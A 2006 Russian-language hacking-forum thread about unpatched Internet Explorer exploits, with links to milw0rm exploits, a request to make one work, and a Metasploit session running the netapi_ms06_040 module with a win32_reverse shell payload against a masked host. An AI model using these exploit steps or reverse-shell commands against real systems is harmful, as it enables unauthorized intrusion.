Новые сплойты Ms Ie

Новые сплойты Ms Ie

25.09.2006, 14:45

melco

Новичок

Регистрация: 11.09.2005

Сообщений: 24

С нами: 10875972

Репутация: 13

Новые сплойты Ms Ie

Нашел новые сплойты на MS IE, на которые еще нет заплатки. Работает на ура вот это, калькулятор запускает. На Win2000 IE вырубается, но калькулятора не дает:

Код:

http://milw0rm.org/exploits/2425

Это компилится, но мою винду не цепляет, хотя на ту же дыру

Код:

http://milw0rm.org/exploits/2403

как подправить второй сплойт так, что бы он работал на ура как и первый?

Мерси всем, кто раздуплит.

𝕏 Twitter Reddit Telegram Копировать ссылку

25.09.2006, 15:38

edos

Познающий

Регистрация: 29.08.2005

Сообщений: 97

С нами: 10893934

Репутация: 38

http://milw0rm.org/exploits/2425 - тестанул вот этот, осел вылетел и запустилось 2 (два) калькулятора (XP SP2)

27.09.2006, 10:21

-=lebed=-

Флудер

Регистрация: 21.06.2006

Сообщений: 3,193

С нами: 10467746

Репутация: 4738

Затестил сплоит от jamikazu - работает на SP2+IE
Провериться на запуск калькулятора можно Тут

А от метасплоита что-то не пашет (удалённый)

msf > cd framework
msfconsole: chdir: changed to directory framework
msf > use netapi_ms06_040
msf netapi_ms06_040 > set RHOST хх.хх.хх.2
RHOST -> хх.хх.хх.2
msf netapi_ms06_040 > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf netapi_ms06_040(win32_reverse) > set LHOST хх.хх.хх.1
LHOST -> хх.хх.хх.1
msf netapi_ms06_040(win32_reverse) > exploit
[*] Starting Reverse Handler.
[*] WARNING: Failed to create pipe to \BROWSER: Create returned NT status 0xc0000034 at /home/framework/lib/Pex/DCERPC.pm line 869.
[*] Could not bind to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:хх.хх.хх.2[\BROWSER]
[*] Exiting Reverse Handler.
msf netapi_ms06_040(win32_reverse) >

Что то не так в либе DCERPC.pm ? (или она старой версии?)

Последний раз редактировалось -=lebed=-; 27.09.2006 в 11:43..

27.09.2006, 10:57

madnet

Умиротворенн

Регистрация: 09.12.2004

Сообщений: 996

С нами: 11272646

Репутация: 1384

Сегдня вышел UPDATE заплатки на VML
http://www.microsoft.com/athome/security/update/bulletins/200609.mspx

__________________

http://madnet.name - madnet - blog | homepage (Мысли, релизы, скрипты, софт)

http://antichat.ru - Лучший сайт по безопасности
irc.antichat.ru:7771 #antichat - общение online
ГАРАНТ ФОРУМА

Внести депозит

Депозит создан

Вывести депозит